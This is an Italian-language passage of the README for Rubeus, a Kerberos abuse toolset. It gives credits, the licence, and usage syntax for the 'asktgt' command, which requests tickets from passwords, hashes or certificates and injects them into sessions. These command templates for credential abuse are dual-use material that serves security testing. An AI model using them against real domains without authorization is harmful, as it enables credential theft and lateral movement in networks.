
Cercando di domare il cane a tre teste.
Rubeus è un set di strumenti C# per l'interazione diretta con Kerberos e i suoi abusi. È fortemente adattato dal progetto Kekeo di Benjamin Delpy (licenza CC BY-NC-SA 4.0) e dal progetto MakeMeEnterpriseAdmin di Vincent LE TOUX (licenza GPL v3.0). Il pieno merito va a Benjamin e Vincent per aver risolto le componenti difficili della weaponizzazione: senza il loro lavoro precedente questo progetto non esisterebbe.
Charlie Clark e Ceri Coburn hanno entrambi dato contributi significativi come co-sviluppatori al codebase di Rubeus. Elad Shamir ha contribuito con un lavoro essenziale per la delegazione vincolata basata sulle risorse. Il loro lavoro è molto apprezzato!
Rubeus utilizza anche una libreria C# per il parsing/codifica ASN.1 di Thomas Pornin chiamata DDer, rilasciata con una licenza "simile a MIT". Un enorme ringraziamento a Thomas per il suo codice pulito e stabile!
Il codice PKINIT è fortemente adattato dallo strumento Bruce di @SteveSyfuhs. Bruce ha reso molto più facile comprendere RFC4556 (PKINIT). Un enorme ringraziamento a Steve!
La codifica e decodifica NDR per il PAC Kerberos si basa sulla libreria NtApiDotNet di @tiraniddo, grazie James.
Il metodo KerberosRequestorSecurityToken.GetRequest per il Kerberoasting è stato contribuito a PowerView (e poi incorporato in Rubeus) da @machosec.
@harmj0y è l'autore principale di questo codebase.
Rubeus è concesso in licenza secondo i termini della licenza BSD 3-Clause.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
Ticket requests and renewals:
Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Recupera un TGT basato su password/hash utente, con la possibilità di salvarlo in un file o di applicarlo alla sessione di accesso corrente o a un LUID specifico:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Recupera un TGT basato su password/hash utente, avvia un processo /netonly e applica il ticket al nuovo processo/sessione di accesso:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Recupera un TGT utilizzando un certificato PCKS12, avvia un processo /netonly e applica il ticket al nuovo processo/sessione di accesso:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Recupera un TGT utilizzando un certificato dal keystore dell'utente (Smartcard) specificando l'impronta digitale o il soggetto del certificato, avvia un processo /netonly e applica il ticket al nuovo processo/sessione di accesso:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/nowrap]
Recupera un TGT adatto per cambiare un account con password scaduta utilizzando il comando changepw:
Rubeus.exe asktgt /user:USER </password:PASSWORD /changepw [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy]
Richiede un TGT senza inviare dati di pre-autenticazione:
Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Richiede un ticket di servizio utilizzando un AS-REQ:
Rubeus.exe asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]